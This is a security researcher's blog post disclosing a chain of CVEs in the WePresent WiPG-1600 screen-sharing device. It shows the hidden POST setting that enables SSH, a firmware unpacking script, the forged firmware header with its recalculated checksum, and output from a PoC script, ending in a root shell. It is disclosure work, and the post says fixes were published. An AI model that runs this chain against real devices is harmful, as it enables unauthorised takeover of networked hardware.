WePresent... vulnerabilities! | 2021-01-05 20:21 |
This blog post describes an exploit chain to go from a completely unauthenticated attacker to a root shell on a WePresent WiPG-1600. The device was running firmware version 2.5.1.8, which was the latest version available at the time this research was performed. Several vulnerabilities were found, and CVEs and fixes for each have since been published.
CVE-2020-28329 - Default API credentials
The first vulnerability is the existence of default, hardcoded credentials that can be used to access an API service listening on port 4001/tcp. The password exists as clear text in /etc/lighthttp/admin and in a hashed form in etc/lighttpd/lighttpd.user. This information was obtained by downloading and unpacking the firmware from WePresent's site. The URL for the firmware is https://www.barco.com/en/support/wepresent-wipg-1600w/drivers. Binwalk, with recursive scanning of extracted files, does partially unpack the firmware. A simple, more elegant approach will be discussed later in this blog post.
CVE-2020-28330 - Displaying the Web admin password as clear text in an API response
An authenticated request to https://IP:4001/w1.0, using the credentials described above, will display the current Web admin password as clear text. An attacker will now have the password for the Web admin user on the device, and can use the web interface to make any configuration changes to the device using the web UI.
CVE-2020-28333 - Effectively a Session ID being passed as a URL parameter
In order to make configuration changes to the device, a random value sent to the web interface client from the device is required to be provided – the "SEID". It seems to be acting like a Session ID in a cookie. However, the "SEID" is passed as a parameter in URLs and in the body of POSTs. Since it is passed as a parameter in the URL, it can be logged by web proxies or browser history. An example is:https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwSystem.html&ertqVvnKV4TjU9Vt
Where "ertqVvnKV4TjU9Vt" is the SEID. No session cookie exists, just this value passed on the URL as a parameter, and in the body of POSTs to make configuration changes. A given SEID is tied to the originating IP, has a limited lifetime, and does not persist across reboots of the WePresent.
CVE-2020-28331 - Hidden POST options to enable network listeners
The device does not have a SSH daemon listening by default. The web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. In looking at the unpacked firmware, I could see where a SSH daemon init script exists (/etc/init.d/S41ssh). The init script starts the SSH daemon only if a specific value from the device's configuration is set to "1". Excerpts from the init script:mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE) runprocess() { if [ "$mode" = "1" ]; then echo "dropbear running" /usr/bin/dropbear fi }
The AwGetCfg binary reads the /etc/content/AwDefault.xml file, and there is an RD_DEBUG_MODE value set in that file. By default RD_DEBUG_MODE is set to "0" in the firmware.
$ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy
While the web pages in the web UI do not have apparent ways to enable SSH, I was able to identify that other configuration settings that appear in the /etc/content/AwDefault.xml file can be modified by the web UI. So, I mimicked a configuration change to a setting from the UI, but changed the value to be changed to set RD_DEBUG_MODE to 1. The following was included in a POST to the device:
<name>RD_DEBUG_MODE</name><value>1</value>
Many, if not all, configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the "SEID" to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections.
$ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
In looking at the unpacked firmware, I quickly identified a root hash in the /etc/shadow file on the device. It is the only account in the /etc/shadow. I did not observe where the device prompts the administrator to set a new root password, therefore this password is hardcoded and exists across all devices (CVE-2020-28334). The password hash withstood cracking attempts that ran multiple weeks. Given the length of the password on the default account for the API interface, I anticipate that the password is sufficiently long and complex, and that it would take a very long time for the hash to crack.
So, if the hash can't be cracked... can it be replaced?
CVE-2020-28332 - Firmware is not signed
The firmware unpacks partially using binwalk. However, Matt Bergin (@thatguylevel) made an observation on how the firmware images are packaged based on one of the scripts in the firmware that processes firmware update files. Using 'dd' and Matt's information, we were able to extract the 4 component files in the firmware. As referenced above, this is our more elegant approach. The four component files are:- a 512 byte header - a cramfs file system - a uBoot image - and a tar.gz'd set of files (where the /etc/shadow file lives)
The shell script used to perform the unpacking of the firmware image is very simple:
$ cat unpack-firmware.sh #!/bin/sh dd bs=512 if=$1 of=$1.header count=1 dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240 dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144 dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385
Using the script is straightforward:
$ ../../unpack-firmware.sh awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad 1+0 records in 1+0 records out 512 bytes copied, 0.000382706 s, 1.3 MB/s 10240+0 records in 10240+0 records out 5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0444339 s, 118 MB/s 6144+0 records in 6144+0 records out 3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0102049 s, 308 MB/s 231542+1 records in 231542+1 records out 118549747 bytes (119 MB, 113 MiB) copied, 0.383279 s, 309 MB/s $ ls -al total 247940 ... 4096 Nov 16 20:36 . ... 4096 Nov 16 20:35 .. ... 126938867 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad ... 5242880 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs ... 118549747 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz ... 512 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header ... 3145728 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot
The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, our focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed.
$ hexdump -C header 00000000 61 77 2d 66 68 30 30 33 02 05 01 08 14 14 02 07 |aw-fh003........| (version=2.5.1.8) and date (0x14 = 20; date = 2020/02/07 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |....."..default.| (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the 512 byte header) (0xcfab2208 = sum32 checksum of the firmware without the 512 byte header) 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200
Generating our new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, we have to concatenate all parts of the new firmware together *without* the header file. We then calculate the sum32 checksum on this file. Jacksum was used to identify the hashing algorithm used by the firmware. With the new sum32 checksum and filesize of the tar.gz file, we can modify our new header file to look like:
00000000 61 77 2d 66 68 30 30 33 02 05 01 09 14 14 02 07 |aw-fh003........| 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |_*..9f..default.| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200
Now, we can concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the WePresent device. After the firmware update, the device will revert back to the default Web admin password of "admin". The WePwn.py script can be run again to re-enable SSH, and now we can ssh in with our known root password.
Proof-of-Concept:
Assuming the administrator has changed the admin password from the default to the value "W3Pr3s3nt".
A python script (WePwn.py) was written to automate several steps in the exploit chain, notably:
- Use a hard coded account that can only access the API service listening on port 4001/tcp.
- Issue a request to the API endpoint with the credentials to extract the clear text password currently set for the Web admin account.
- With the password for the Web admin account, log in and obtain a "SEID", which is a randomly generated value much like a session ID. This session ID is exposed on the URL string when using the web interface.
- Make a POST including the obtained SEID string, submitting the undocumented configuration setting to enable the SSH service.
- Once the configuration setting has been changed to enable the SSH service, the "SEID" value is used in a POST to reboot the device.
$ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds $ ./WePwn.py -h 192.168.2.200 [+] Admin password is: W3Pr3s3nt [+] SEID is: PqhXbb4jQ2g8T4ss [+] Enabling SSH Daemon [+] Rebooting device [+] Waiting for 60 seconds while device reboots 10...20...30...40...50...60 $ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
The Web admin password previously discovered is then used to log in to the device and upload custom/modified firmware. In our case, only the hash for the root password in /etc/shadow was altered. Once the new firmware version was uploaded to the device and the SSH service is re-enabled, we are able to SSH in as root with the password hash that we set.
$ ssh -p 22 -o PasswordAuthentication=yes root@192.168.2.200 root@192.168.2.200's password: Welcome to AWIND(R) Linux(R) Environment ... # whoami root
0 comments | Posted by Jim Becher at: 20:21 permalink |
Comments are closed for this story.